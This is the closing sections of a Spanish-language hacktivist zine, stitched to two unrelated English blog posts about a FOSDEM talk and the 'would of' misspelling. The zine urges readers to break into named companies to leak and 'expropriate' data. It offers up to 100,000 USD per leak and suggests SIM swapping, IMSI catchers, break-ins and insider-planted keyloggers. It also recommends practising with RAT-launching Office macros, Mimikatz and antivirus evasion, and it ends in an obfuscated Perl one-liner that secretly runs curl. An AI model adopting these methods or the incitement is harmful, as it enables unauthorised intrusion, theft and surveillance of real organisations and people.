virtudes más valiosas es la persistencia.    - Consejos de Octavia Butler para la aspirante a APTLa mejor forma de aprender a hackear es hackeando. Armate un laboratorio conmáquinas virtuales y empezá a probar cosas, tomándote un break para investigarcualquier cosa que no entiendas. Como mínimo vas a querer un servidor windowscomo controlador de dominio, otra vm windows normal unida al dominio, y unamáquina de desarrollo con visual studio para compilar y modificar herramientas.Intenta hacer un documento de office con macros que lancen meterpreter u otroRAT, y probá meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying,psexec y otras técnicas de pase lateral [1]; así como los otros scripts,herramientas y técnicas mencionados en esta guía y en la anterior [2]. Alprincipio puedes deshabilitar windows defender, pero luego probalo todoteniéndolo activado [3][4] (pero desactivando el envío automático de muestras).Una vez que estés a gusto con todo eso, estarás lista para hackear el 99% de lascompañías. Hay un par de cosas que en algún momento serán muy útiles en tuaprendizaje, como desenvolverte cómodamente con bash y cmd.exe, un dominiobásico de powershell, python y javascript, tener conocimiento de kerberos [5][6]y active directory [7][8][9][10], y un inglés fluido. Un buen librointroductorio es The Hacker Playbook.Quiero también escribir un poco sobre cosas en las que no centrarse si no tequieres entretener sólo porque alguien te haya dicho que no eres una hacker "deverdad" si no sabes ensamblador. Obviamente, aprende lo que sea que te interese,pero escribo estas líneas pensando en aquellas cosas en las que te puedescentrar a fin de conseguir resultados prácticos si lo que buscas es hackearcompañías para filtrar y expropiar. Un conocimiento básico de seguridad enaplicaciones web [11] es útil, pero especializarte más en seguridad web no esrealmente el mejor uso de tu tiempo, a menos que quieras hacer una carrera enpentesting o cazando recompensas por bugs. Los CTFs, y la mayoría de losrecursos que encontrarás al buscar información sobre hacking, se centrangeneralmente en habilidades como seguridad web, ingeniería inversa, desarrollode exploits, etc. Cosas que tienen sentido entendiéndolas como una forma depreparar gente para las carreras en la industria, pero no para nuestrosobjetivos. Las agencias de inteligencia pueden darse el lujo de tener un equipodedicado a lo más avanzado en fuzzing, un equipo trabajando en desarrollo deexploits con un güey investigando exclusivamente las nuevas técnicas demanipulación del montículo, etc. Nosotras no tenemos ni el tiempo ni losrecursos para eso. Las dos habilidades de lejos más importantes para el hackingpráctico son el phishing [12] y la ingeniería social para conseguir accesoinicial, y luego poder escalar y moverte por los dominios windows.[1] https://hausec.com/2019/08/12/offensive-lateral-movement/[2] https://www.exploit-db.com/papers/41914[3] https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf[4] https://www.trustedsec.com/blog/    discovering-the-anti-virus-signature-and-bypassing-it/[5] https://www.tarlogic.com/en/blog/how-kerberos-works/[6] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/[7] https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/[8] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/[9] https://adsecurity.org/[10] https://github.com/infosecn1nja/AD-Attack-Defense[11] https://github.com/jhaddix/tbhm[12] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an-     external-engagement-through-spear-phishing/--[ 12 - Lecturas Recomendadas ]------------------------------------------------ __________________________________________/ Cuando el nivel científico de un mundo   \| supera por mucho su nivel de solidaridad,|\ ese mundo se autodestruye.               / ------------------------------------------                  \   _.---._   .            .            *      \.'       '.       **               _.-~===========~-._    .          (___________________)       .   *              .'     \_______/   .'                            .'  .'                            '                              - AmiCasi todo el hacking hoy día se hace por hackers de sombrero negro, para su provecho personal; o por hackers de sombrero blanco, para el provecho de los accionistas (y en defensa de los bancos, compañías y estados que nos están aniquilando a nosotras y al planeta en que vivimos); y por militares y agencias de inteligencia, como parte de su agenda de guerra y conflictos. Viendo que este nuestro mundo ya está al límite, he pensado que, además de estosconsejos técnicos para aprender a hackear, debía incluir algunos recursos quehan sido muy importantes para mi desarrollo y me han guiado en el uso de misconocimientos de hacking.* Ami: El Niño de las Estrellas - Enrique Barrios * La Anarquía Funciona   https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia-   funciona* Viviendo Mi Vida - Emma Goldman* The Rise and Fall of Jeremy Hammond: Enemy of the State  https://www.rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremy-  hammond-enemy-of-the-state-183599/  Este cuate y el hack de HBGary fueron una inspiración* Días de Guerra, Noches de Amor - Crimethinc* Momo - Michael Ende* Cartas a un joven poeta - Rilke* Dominion (Documental)  "no podemos creer que, si no miramos, no sucederá lo que no queremos ver"  - Tolstoy en Первая ступень* Bash Back!--[ 13 - Sanar ]----------------------------------------------------------------El mundo hacker tiene una alta incidencia de depresión, suicidios y ciertasbatallas con la salud mental. No creo que sea a causa del hacking, sino por laclase de ambiente del que en su mayoría provienen los hackers. Como muchashackers, crecí con escaso contacto humano: fui una niña criada por el internet.Tengo mis luchas con la depresión y el entumecimiento emocional. A Willie Suttonse le cita con frecuencia diciendo que robaba bancos porque "allí es donde estáel dinero", pero la cita es incorrecta. Lo que realmente dijo fue:    ¿Por qué robaba bancos? Porque lo disfrutaba. Amaba hacerlo. Estaba más     vivo cuando estaba dentro de un banco, en pleno atraco, que en cualquier     otro momento de mi vida. Lo disfrutaba tanto que una o dos semanas después     ya estaba buscando la siguiente oportunidad. Pero para mí el dinero era una    minucia, nada más.El hacking me ha hecho sentir viva. Comenzó como una forma de automedicar ladepresión. Más tarde me di cuenta de que, en realidad, podía servir para haceralgo positivo. No me arrepiento para nada de la forma en que crecí, trajo variasexperiencias hermosas a mi vida. Pero sabía que no podía continuar viviendo deesa manera. Así que comencé a pasar más tiempo alejada de mi computadora, conotras personas, aprendiendo a abrirme al mundo, a sentir mis emociones, aconectar con los demás, a aceptar riesgos y ser vulnerable. Cosas mucho másdifíciles que hackear, pero a la mera hora la recompensa vale más la pena. Aúnme supone un esfuerzo, pero aunque sea de forma lenta y tambaleante, siento quevoy por buen camino.El hacking, hecho con conciencia, también puede ser lo que nos sana. Según lasabiduría maya, tenemos un don otorgado por la naturaleza, que debemoscomprender para ponerlo al servicio de la comunidad. En [1], se explica:    Cuando una persona no acepta su trabajo o misión empieza a padecer    enfermedades, aparentemente incurables; aunque no llega a morir en corto    tiempo, sino únicamente sufre, con el objetivo de despertar o tomar    conciencia. Por eso es indispensable que una persona que ha adquirido los    conocimientos y realiza su trabajo en las comunidades debe pagar su Toj y    mantener una comunicación constante con el Creador y su ruwäch q’ij, pues    necesita constantemente de la fuerza y energía de estos. De lo contrario,    las enfermedades que lo hicieron reaccionar o tomar el trabajo podrían    volver a causar daño.Si sientes que el hacking está alimentando tu aislamiento, depresión, u otrospadecimientos, respira. Date un tiempo para conocerte y tomar conciencia. Vosmereces vivir feliz, con salud y plenitud. ________________________< All Cows Are Beautiful > ------------------------         \          \ ^__^            (oo)\_______         (  (__)\       )\/\          _) /  ||----w |         (.)/   ||     ||          `'[1] Ruxe’el mayab’ K’aslemäl: Raíz y espíritu del conocimiento maya    https://www.url.edu.gt/publicacionesurl/FileCS.ashx?Id=41748--[ 14 - El Programa Hacktivista de Caza de Bugs ]------------------------------Me parece que hackear para conseguir y filtrar documentos de interés público esuna de las mejores maneras en que lxs hackers pueden usar sus habilidades enbeneficio de la sociedad. Por desgracia para nosotras las hackers, como en casitodo rubro, los incentivos perversos de nuestro sistema económico no coincidencon aquello que beneficia a la sociedad. Así que este programa es mi intento dehacer posible que lxs buenxs hackers se puedan ganar la vida de forma honestaponiendo al descubierto material de interés público, en vez de tener que andarvendiendo su trabajo a las industrias de la ciberseguridad, el cibercrimen o laciberguerra. Entre algunos ejemplos de compañías por cuyos leaks me encantaríapagar están las empresas mineras, madereras y ganaderas que saquean nuestrahermosa América Latina (y asesinan a las defensoras de la tierra y el territorioque tratan de detenerles), empresas involucradas en ataques a Rojava como BaykarMakina o Havelsan, compañías de vigilancia como el grupo NSO, criminales deguerra y aves de rapiña como Blackwater y Halliburton, empresas penitenciariasprivadas como GeoGroup y CoreCivic/CCA, y lobbistas corporativos como ALEC.Presta atención a la hora de elegir dónde investigas. Por ejemplo, es bienconocido que las petroleras son malvadas: se enriquecen a costa de destruir elplaneta (y allá por los 80s las propias empresas ya sabían de las consecuenciasde su actividad [1]). Pero si les hackeas directamente, tendrás que bucear entreuna increíble cantidad de información aburridísima acerca de sus operacionescotidianas. Muy probablemente te va a ser mucho más fácil encontrar algointeresante si en cambio te enfocas en sus lobbistas [2]. Otra manera deseleccionar objetivos viables es leyendo historias de periodistas deinvestigación (como [3]), que son interesantes pero carecen de evidenciassólidas. Y eso es exactamente lo que tus hackeos pueden encontrar.Pagaré hasta 100 mil USD por cada filtración de este tipo, según el interés público e impacto del material, y el laburo requerido en el hackeo. Sobra decirque una filtración completa de los documentos y comunicaciones internas dealguna de estas empresas supondrá un beneficio para la sociedad que sobrepasaesos cien mil, pero no estoy tratando de enriquecer a nadie. Sólo quiero proveerde fondos suficientes para que las hackers puedan ganarse la vida de forma dignahaciendo un buen trabajo. Por limitaciones de tiempo y consideraciones deseguridad no voy a abrir el material, ni a inspeccionarlo por mí misma, sino queleeré lo que la prensa diga al respecto una vez se haya publicado, y haré unaestimación del interés público a partir de ahí. Mi información de contacto estáal final de la guía mencionada antes [4].Cómo obtengas el material es cosa tuya. Puedes usar las técnicas tradicionales de hacking esbozadas en esta guía y la anterior [4]. Podrías hacerle una simswap [5] a un empresario o politiquero corrupto, y luego descargar sus correos ybackups desde la nube. Puedes pedir un IMSI catcher de alibaba y usarlo afuerade sus oficinas. Puedes hacer un poco de war-driving (del antiguo o del nuevo[6]). Puede que seas una persona dentro de sus organizaciones que ya tieneacceso. Puedes optar por un estilo low-tech tipo old-school como en [7] y [8], ysencillamente colarte en sus oficinas. Lo que sea que te funcione.[1] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/    sep/19/shell-and-exxons-secret-1980s-climate-change-warnings[2] https://theintercept.com/2019/08/19/oil-lobby-pipeline-protests/[3] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/[4] https://www.exploit-db.com/papers/41914[5] https://www.vice.com/en_us/article/vbqax3/    hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin[6] https://blog.rapid7.com/2019/09/05/this-one-time-on-a-pen-test-your-mouse-    is-my-keyboard/[7] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI[8] https://en.wikipedia.org/wiki/Unnecessary_Fuss----[ 14.1 - Pagos parciales ]--------------------------------------------------¿Eres una camarera de buen corazón que trabaja en una compañía del mal [1]?¿Estarías dispuesta a introducir sigilosamente un keylogger físico en lacomputadora de un ejecutivo, a cambiar su cable de carga USB por uno modificado[2], esconder un micro en alguna sala de reuniones donde planean susatrocidades, o a dejar uno de estos [3] olvidado en algún rincón de lasoficinas? [1] https://en.wikipedia.org/wiki/Evil_maid_attack[2] http://mg.lol/blog/defcon-2019/[3] https://shop.hak5.org/products/lan-turtle¿Eres bueno con ingeniería social y phishing, y conseguiste una shell en la computadora de un empleado, o por ahí conseguiste sus credenciales de la vpnusando phishing? ¿Pero quizás no pudiste conseguir admin de dominio y descargarlo que querías?¿Participaste en programas de bug bounties y te convertiste en una experta enel hacking de aplicaciones web, pero no tienes suficiente experiencia hackerpara penetrar completamente la compañía?¿Tienes facilidad con la ingeniería inversa? Escanea algunas compañías del malpara ver qué dispositivos tienen expuestos a internet (firewall, vpn, y pasarelas de correo electrónico serán mucho más útiles que cosas como cámarasIP), aplícales ingeniería inversa y encuentra alguna vulnerabilidad explotablede forma remota.Si me es posible trabajar con vos para penetrar la compañía y conseguir materialde interés público, igualmente serás recompensada por tu trabajo. Si es que notengo el tiempo de trabajar en ello yo misma, al menos trataré de aconsejarteacerca de cómo continuar hasta que puedas completar el hackeo por tu cuenta.Apoyar a aquellos en el poder para hackear y vigilar a disidentes, activistas ya la población en general es hoy día una industria de varios miles de millonesde dólares, mientras que hackear y exponer a quienes están en el poder es untrabajo voluntario y arriesgado. Convertirlo en una industria de varios millonesde dólares ciertamente no va a arreglar ese desequilibrio de poder, ni va asolucionar los problemas de la sociedad. Pero creo que va a ser divertido. Asíque... ¡ya quiero ver gente comenzando a cobrar sus recompensas!--[ 15 - Abolir las prisiones ]-------------------------------------------------                   Construidas por el enemigo pa encerrar ideas                encerrando compañeros pa acallar gritos de guerra                    es el centro de tortura y aniquilamiento                   donde el ser humano se vuelve más violento              es el reflejo de la sociedad, represiva y carcelaria                   sostenida y basada en lógicas autoritarias                       custodiadas reprimidos y vigilados                   miles de presas y presos son exterminados                 ante esta máquina esquizofrénica y despiadada                 compañero Axel Osorio dando la pela en la cana                  rompiendo el aislamiento y el silenciamiento                  fuego y guerra a la cárcel, vamos destruyendo!                    Rap Insurrecto - Palabras En ConflictoSería típico terminar un zine hacker diciendo liberen a hammond, liberen amanning, liberen a hamza, liberen a los detenidos por el montaje del дело Сети,etc. Voy a llevar esta tradición a su consecuencia más radical [1], y a decir:¡hay que abolir las prisiones ya!. Siendo yo misma una delincuente, puedenpensar que lo que ocurre es que tengo una visión un poco sesgada del asunto.Pero en serio, es que ni siquiera es un tema controvertido, incluso la ONU estáprácticamente de acuerdo [2]. Así que, de una buena vez, liberen a las personasmigrantes [3][4][5][6], encarceladas a menudo por esos mismos países que crearonla guerra y la destrucción ambiental y económica de la que huyen. Liberen atodos los que están en prisión por la guerra contra quienes usan drogas [7].Liberen a todas las personas encarceladas por la guerra contra los pobres [8].Las prisiones lo único que hacen es esconder e ignorar la prueba de laexistencia de los problemas sociales, en lugar de arreglarlos de a de veras. Yhasta que todxs sean liberados, lucha contra el sistema carcelario recordando yteniendo presentes a aquellos que están atrapados ahí dentro. Envíales cariño,cartas, helicópteros [9], radios piratas [10] y libros, y apoya a quienes seorganizan desde ahí adentro [11][12].[1] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/    Davis-Son-obsoletas-las-prisiones-final.pdf[2] http://www.unodc.org/pdf/criminal_justice/Handbook_of_Basic_Principles_and_    Promising_Practices_on_Alternatives_to_Imprisonment.pdf[3] https://www.theguardian.com/us-news/2016/dec/21/    us-immigration-detention-center-christmas-santa-wish-list[4] https://www.theguardian.com/us-news/2016/aug/18/us-border-patrol-facility-    images-tucson-arizona[5] https://www.playgroundmag.net/now/detras-Centros-Internamiento-Extranjeros-    Espana_22648665.html[6] https://www.nytimes.com/2019/06/26/world/australia/    australia-manus-suicide.html[7] https://en.wikiquote.org/wiki/John_Ehrlichman#Quotes[8] VI, 2. i. La multa impaga: https://scielo.conicyt.cl/scielo.php?script=    sci_arttext&pid=S0718-00122012000100005[9] p. 10, Libelo Nº2. Boletín político desde la Cárcel de Alta Seguridad[10] https://itsgoingdown.org/transmissions-hostile-territory/[11] https://freealabamamovement.wordpress.com/f-a-m-pamphlet-who-we-are/[12] https://incarceratedworkers.org/--[ 16 - Conclusión ]-----------------------------------------------------------Nuestro mundo está patas arriba [1]. Tenemos un sistema de justicia querepresenta a la injusticia. La ley y el orden están ahí para crear una ilusiónde paz social, y ocultar lo sistemático y profundo de la explotación, laviolencia, y la injusticia. Mejor seguir a tu conciencia, y no a la ley.[1] http://resistir.info/livros/galeano_patas_arriba.pdfLos hombres de negocios se enriquecen maltratando a las personas y al planeta,mientras que el trabajo de los cuidados queda mayormente sin pagar. Mediante elasalto a todo lo comunal, de algún modo hemos levantado ciudades densamentepobladas, plagadas por la soledad y el aislamiento. El sistema cultural,político y económico en que vivimos alienta las peores facetas de la naturalezahumana: la avaricia, el egoísmo y egocentrismo, la competitividad, la falta decompasión y el apego por la autoridad. Así que, para quien haya conseguidopermanecer sensible y compasivo en un mundo frío, para todas las heroínascotidianas que practican la bondad en las pequeñas cosas, para todas ustedes queaún tienen una estrella encendida en sus corazones: гоpи, гоpи ясно, чтобы непогасло!                     _____________________                    <  ¡Cantemos juntas!  >                     ---------------------                             \                              \ ^__^                                (oo)\_______                             (  (__)\       )\/\                              _) /  ||----w |                             (.)/   ||     ||                                 Ábrete corazón                               Ábrete sentimiento                              Ábrete entendimiento                            Deja a un lado la razón                Y deja brillar el sol escondido en tu interior                perl -Mre=eval <<\EOF                                       ''                                                                           =~(                                                                           '(?'                                                                         .'{'.(                                                                       '`'|'%'                                                                       ).("\["^                                                                     '-').('`'|                                                                   '!').("\`"|                                                                   ',').'"(\\$'                                                                 .':=`'.(('`')|                                                               '#').('['^'.').                                                               ('['^')').("\`"|                                   ',').('{'^'[').'-'.('['^'(').('{'^'[').('`'|'(').('['^'/').('['^'/').(       '['^'+').('['^'(').'://'.('`'|'%').('`'|'.').('`'|',').('`'|'!').("\`"|         '#').('`'|'%').('['^'!').('`'|'!').('['^'+').('`'|'!').('['^"\/").(              '`'|')').('['^'(').('['^'/').('`'|'!').'.'.('`'|'%').('['^'!')                   .('`'|',').('`'|'.').'.'.('`'|'/').('['^')').('`'|"\'").                        '.'.('`'|'-').('['^'#').'/'.('['^'(').('`'|('$')).(                              '['^'(').('`'|',').'-'.('`'|'%').('['^('(')).                                    '/`)=~'.('['^'(').'|</'.('['^'+').'>|\\'                                         .'\\'.('`'|'.').'|'.('`'|"'").';'.                                              '\\$:=~'.('['^'(').'/<.*?>//'                                                 .('`'|"'").';'.('['^'+').('['^                                               ')').('`'|')').('`'|'.').(('[')^                                             '/').('{'^'[').'\\$:=~/('.(('{')^                                             '(').('`'^'%').('{'^'#').('{'^'/')                                           .('`'^'!').'.*?'.('`'^'-').('`'|'%')                                         .('['^'#').("\`"|    ')').('`'|'#').(                                         '`'|'!').('`'|          '.').('`'|'/')                                       .'..)/'.('['               ^'(').'"})')                                       ;$:="\."^                     '~';$~='@'                                     |'(';$^=                          ')'^'[';                                   $/='`'                                |'.';                                   $,=                                      '('           EOF               Nosotras nacimos de la noche.               en ella vivimos, hackeamos en ella.                               Aquí estamos, somos la dignidad rebelde,               el corazón olvidado de la Интернет.                               Nuestra lucha es por la memoria y la justicia,               y el mal gobierno se llena de criminales y asesinos.                               Nuestra lucha es por un trabajo justo y digno,               y el mal gobierno y las corporaciones compran y venden zero days.               Para todas el mañana.               Para nosotras la alegre rebeldía de las filtraciones               y la expropiación.               Para todas todo.               Para nosotras nada.               Desde las montañas del Sureste Cibernético,                        _   _            _      ____             _    _                | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

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Terence Eden’s Blog @[email protected] · 2025-02-06 · 12:34 UTC
Talking Contact Tracing at FOSDEM
https://shkspr.mobi/blog/2025/02/talking-contact-tracing-at-fosdem/
I was delighted to be invited to speak at FOSDEM. And I was not at all intimidated to be speaking on the cavernous Janson stage. The audience were lovely0, asked interesting questions1, and - most importantly - laughed in all the right places 😅.
Regular readers will recognise this as being an updated2 version of the talk I gave at EMF 2024 - feel free to watch that one if you want to see if I've improved.
Huge thanks to the AV team and the video-wizards behind the FOSDEM infrastructure.
As I say in my introduction, these are my personal recollections. I no longer work for the Government, so feel free to send any complaints to the circular file.
Feedback
A few pieces of public feedback I got after the talk.

@[email protected]
Stewart X Addison

There's nothing like #FOSDEM. Maybe if you're in a particular community that doesn't have a devroom so doesn't attract so many people it's not the same but finding people you know face to face and making new contacts is so valuable. But there's something for every open source developer.
Talk highlight? I've got to go with @Edent on the UK COVID tracing app. Even if you're not UK based it was a lesson in how government works and dealing with the abuse on Twitter. Superbly presented too.
❤️ 10💬 3🔁 522:46 - Sun 02 February 2025

@[email protected]
Jim Madge

This #FOSDEM I've learned that @Edent, who up to now I have known for @openbenches, championed making the NHS covid app open source 🤯🚀.
Watch his excellent talk https://fosdem.org/2025/schedule/event/fosdem-2025-4411-lessons-learned-open-sourcing-the-uk-s-covid-tracing-app/

FOSDEM 2025 - Lessons learned Open Sourcing the UK's Covid Tracing App
❤️ 4💬 0🔁 013:27 - Sun 02 February 2025

@[email protected]
Johra 🌈

@Edent your talk was part of the wonderful things in this year’s FOSDEM. I look forward to more on health from the perspective of those who understand what’s behind the technology
❤️ 1💬 1🔁 014:57 - Wed 05 February 2025

@[email protected]
philip

That's a wrap of #FOSDEM for me, saw lots of great talks. If you have time to watch only two, consider https://fosdem.org/2025/schedule/event/fosdem-2025-4411-lessons-learned-open-sourcing-the-uk-s-covid-tracing-app/ by @Edent and https://fosdem.org/2025/schedule/event/fosdem-2025-4233-privacy-first-architecture-alternatives-to-gdpr-popup-and-local-first/ by @sitnik_en. I found them inspiring for being a good human and I learned something new in both 🤩.

FOSDEM 2025 - Lessons learned Open Sourcing the UK's Covid Tracing App
❤️ 2💬 0🔁 214:13 - Sun 02 February 2025

@[email protected]
Simon Lucy

An excellent talk and performance by @Edent on open sourcing the NHS COVID app at #fosdem2025 #StreamingFosdem
❤️ 1💬 0🔁 013:51 - Sun 02 February 2025

Diomidis Spinellis
@CoolSWEng

Pragmatic insights (with which the audience's majority also agreed) by Terence Eden from open sourcing UK's COVID tracing app at #FOSDEM: Used MIT license because other departments already used it and it was short and easy for lawyers and the public to understand, ❤️ 6💬 1🔁 013:53 - Sun 02 February 2025

Diomidis Spinellis
@CoolSWEng

Replying to @CoolSWEngadopt Apple's contact tracing API, host on GitHub, squash individual commits between releases (security & privacy).
Also: open source at the day of release rather than from the beginning (reduce noise).
❤️ 2💬 0🔁 213:53 - Sun 02 February 2025

Diomidis Spinellis
@CoolSWEng

Replying to @CoolSWEngOther lessons: bring-in professional moderators for discussions, be careful about controversial code comments, create a foundation for closing-down the system, open source is about community. ❤️ 2💬 0🔁 013:53 - Sun 02 February 2025
1. Except for one weird heckler who shouted out something incomprehensible. ↩︎
2. Well, one guy came up afterwards and asked "What exactly is Covid? Can you explain?" I politely suggested he speak to a medical professional. ↩︎
3. But, yes, still wearing the same t-shirt! ↩︎
#conference #covid19 #fosdem #nhsx #OpenSource #presentation
#conference #covid19 #fosdem #nhsx #opensource #presentation
Sentence first @[email protected] · 2012-10-23 · 12:02 UTC

Would of, could of, might of, must of
When we say would have, could have, should have, must have, might have, may have and ought to have, we often put some stress on the modal auxiliary and none on the have. We may show this in writing by abbreviating to could’ve, must’ve, etc. (Would can contract further by merging with the subject: We would have → We’d’ve.)
Unstressed ’ve is phonetically identical (/əv/) to unstressed of: hence the widespread misspellings would of, could of, should of, must of, might of, may of, and ought to of. Negative forms also appear: shouldn’t of, mightn’t of, etc. This explanation – that misanalysis of the notorious schwa lies behind the error – has general support among linguists.
The mistake dates to at least 1837, according to the OED, so it has probably been infuriating pedants for almost 200 years. Common words spelt incorrectly provoke particular ire, sometimes accompanied by aspersions cast on the writer’s intelligence, fitness for society, degree of evolution, and so on. But there’s no need for any of that.
Usage authorities unanimously call it a mistake, though some allow for its deliberate use (more on that below). Many associate it specifically with children and other less educated writers. For example, Garner’s Dictionary of Modern American Usage finds it a practice of ‘semiliterate writers’, and accepts no excuses: ‘the word is have, or a contraction ending in ’ve, and it should be written so.’
Merriam-Webster’s Pocket Guide to English Usage says ‘children and those who have not completed grammar school may have an excuse for making this mistake, but most others do not.’ What’s meant by that most is what we’ll now consider: that the misspellings don’t always indicate carelessness or relative illiteracy.
The Columbia Guide to Standard American English finds room for the anomalous forms as a stylistic device:
substituting of for ’ve in writing can be an example of eye dialect, which deliberately misspells words to suggest Nonstandard or dialectal speech. . . . The important thing is to correct it when it isn’t intentional.
The Merriam-Webster Dictionary of English Usage elaborates on this, saying writers use the spelling ‘to create an unlettered persona’. It cites several examples, including a ‘he’d of got me’ from F. Scott Fitzgerald, who ‘used the spelling to represent the speech of a woman who was not overeducated’, as MWDEU politely puts it.
Here is must of in an intertitle in the Buster Keaton film Steamboat Bill, Jr. (1928):
And in Josef von Sternberg’s 1928 The Docks of New York:
Over the last number of years, I’ve seen the non-standard of-form in many books by authors who presumably knew what they were doing:
‘I could of sworn I’d run into you some place before.’ (Carson McCullers, The Member of the Wedding)
‘Oh Miz, oh Miz,’ he moaned, rubbing his leg. ‘You shouldn’t of done that, you shouldn’t, you reely shouldn’t.’ (Sylvia Plath, The Bell Jar)
‘All bloody and mucked up, with figuring away aboard the Vénus, when two minutes would of changed it.’ (Patrick O’Brian, The Mauritius Command)
‘I’d of liked to be stabbed – and have lashings of red paint.’ (Agatha Christie, Dead Man’s Folly)
‘Never should of married‘ (Dylan Thomas, Under Milk Wood)
‘See, they must of had them already saddled.’ (Elmore Leonard, The Law at Randado)
‘If I hadn’t of got my tubes tied, it could of been me, say I was ten years younger.’ (Margaret Atwood, The Handmaid’s Tale)
‘You could of just told him.’ (Raymond Chandler, The Long Good-bye)
‘You could of said no and I could of not believed you.’ (Raymond Chandler, The Long Good-bye)
‘She must of grabbed some pills.’ (Raymond Chandler, The Long Good-bye)
‘You ought to of asked for me in the first place.’ (Raymond Chandler, ‘Trouble Is My Business’, in Trouble Is My Business)
‘Maybe I had ought to of gone to the servant’s entrance.’ (Raymond Chandler, ‘Trouble Is My Business’, in Trouble Is My Business)
‘Youve never seen anything so mad, the lassie couldnt of known what kind of nut house she was in.’ (Alan Warner, Morvern Callar)
‘I don’t suppose he would remember you,’ the woman said thoughtfully. ‘Seems like he would of mentioned you sometimes if he did.’ (Shirley Jackson, ‘The Lie’, in Let Me Tell You)
‘He shouldn’t of done it, that’s all’ (Shirley Jackson, ‘Root of Evil’, in Let Me Tell You)
‘My wife,’ he said, putting his elbows on the counter and still watching Judith, ‘my wife, you ought to of heard her when she thought I was going.’ (Shirley Jackson, ‘Homecoming’, in Let Me Tell You)
‘If he’d of been a friend of mine you would have said plenty, believe me,” Mrs. Royster said darkly. (Shirley Jackson, ‘The Daemon Lover’)
‘She sure must of been glad to see him, the way he looked,’ the old man said. (Shirley Jackson, ‘The Daemon Lover’)
‘I never saw him,’ the clerk in the drugstore said. ‘I know because I would of noticed the flowers.’ (Shirley Jackson, ‘The Daemon Lover’)
‘If you had of been dead, you’d of had a funeral. I only just thought a that now. I’d of went along.’ (Claire Kilroy, The Devil I Know)
Mabey I shoudnt of let them oparate on my branes like she said if its agenst god. (Daniel Keyes, Flowers for Algernon)
Now that makes me feel bad because I would never of hurt the baby. (Daniel Keyes, Flowers for Algernon)
‘I should of had my head examined.’ (Daniel Keyes, Flowers for Algernon)
‘She should of got it lit before we arrived.’ (Terry Pratchett, Wyrd Sisters)
‘Maybe you should of shot us when we was far away.’ (Chris Cleave, The Other Hand)
‘If he’d been an animal, he’d of been the runt of the litter and we’d of put him down.’ (Gillian Flynn, Dark Places)
‘I could of used the money,’ Donna said. ‘That’s what I was thinking.’ […] ‘It’s true,’ she said. ‘I could of used the money.’ (Raymond Carver, ‘Vitamins’, in Cathedral)
‘And here I’d of sworn…’ He took another try at the coffee cup, registered surprise to find it empty. (James Sallis, Drive)
‘Figured they must of took you when they took Ellis.’ (James Sallis, Bluebottle)
Must of been May 14 as May 12 is my birthday and it was by way of a late present. (Minette Walters, The Ice House)
‘You could of got it from the paper.’ (Minette Walters, The Sculptress)
‘You should of shown me this last time.’ (Minette Walters, The Sculptress)
‘She went guilty so she must of done it.’ (Minette Walters, The Sculptress)
Yorkin cringed. ‘Me. Pierce told me to clip him. I shouldn’t of done it by the drop.’ (James Ellroy, L. A. Confidential)
‘That sure could of been true,’ says the clerk at the Salon City store (Jon Krakauer, Into the Wild)
‘I must of fell asleep, eh?’
‘I guess you must have,’ said Isserley. (Michel Faber, Under the Skin)
Then one day, it must of rained, and man discovered a new place: indoors. (Philomena Cunk, Cunk on Everything)
And where that monkey might of come from. (Philomena Cunk, Cunk on Everything)
I would of put loads more dinosaurs in. (Philomena Cunk, Cunk on Everything)
‘Donnie, we’d of finished this Betamax deal in ten days. And we’d have had winter money, all three of us.’ (Joseph D. Pistone with Richard Woodley, Donnie Brasco: My Undercover Life in the Mafia)
‘And who else could of built it?’ Mr Madden shouted. (Brian Moore, The Lonely Passion of Judith Hearne)
Sheila, the woodshed, should of paddled you sooner. (Brian Moore, The Lonely Passion of Judith Hearne)
‘You went had in there. Stark mad. You’d have raped her if . . .’
‘I’d of what?‘ (Brian Moore, The Lonely Passion of Judith Hearne)
‘I never should of come here.’ (Brian Moore, The Lonely Passion of Judith Hearne)
‘Whether Miriam would of been any different, I don’t know, but I’d say she’d of been worse.’ (Patricia Highsmith, Strangers on a Train)
‘I’d of thought Mrs Herman was the last person in the world to—’ (Dashiell Hammett, The Dain Curse)
…the marshal hadn’t taken any of the Collinsons’ property though of course he might of. (Dashiell Hammett, The Dain Curse)
‘I wouldn’t of flagged that taxi if the For Hire flag hadn’t been up.’ (Dashiell Hammet, ‘Fly Paper’, in The Big Knockover and other stories)
”F he’d of been a man I’d of seen him in hell ‘fore I’d of gave it to him.’ (Dashiell Hammett, ‘Corkscrew’, in The Big Knockover and other stories)
‘They may of gone,’ he said slowly. (Dashiell Hammett, ‘The Golden Horseshoe’, in The Continental Op)
‘But he must of gone through the house and out front . . .’ (Dashiell Hammett, ‘The Girls with the Silver Eyes’, in The ContinentalOp)
‘Anybody could of got in them with a ladder.’ (Dashiell Hammett, ‘The Farewell Murder’, in The Continental Op)
‘Well, we would of if she hadn’t put the two X’s to me the same as she done to you’ . . . ‘but if my rod hadn’t of got snagged in my flogger you wouldn’t have seen nothing else.’ (Dashiell Hammett, ‘The Whosis Kid’, in The Continental Op)
‘If I’d known you five years ago I’d of given it to you.’ (Sara Paretsky, ‘The Maltese Cat’, in Windy City Blues)
‘Mate, I’ve probably said enough already. More than I should of (taps nose) . . . Professional conduct an’ all that.’ (Nicola Barker, Darkmans)
‘Yes, and if the bastard hadn’t of moved I’d have got him, too.’ (Alexander Masters, Stuart: A Life Backwards)
‘I’m Billy Baker. Your Daddy might of talked about me, called me Space?’ (Garth Ennis and Steve Dillon, Preacher) (pictured and quoted below: Preacher no. 2: Proud Americans)
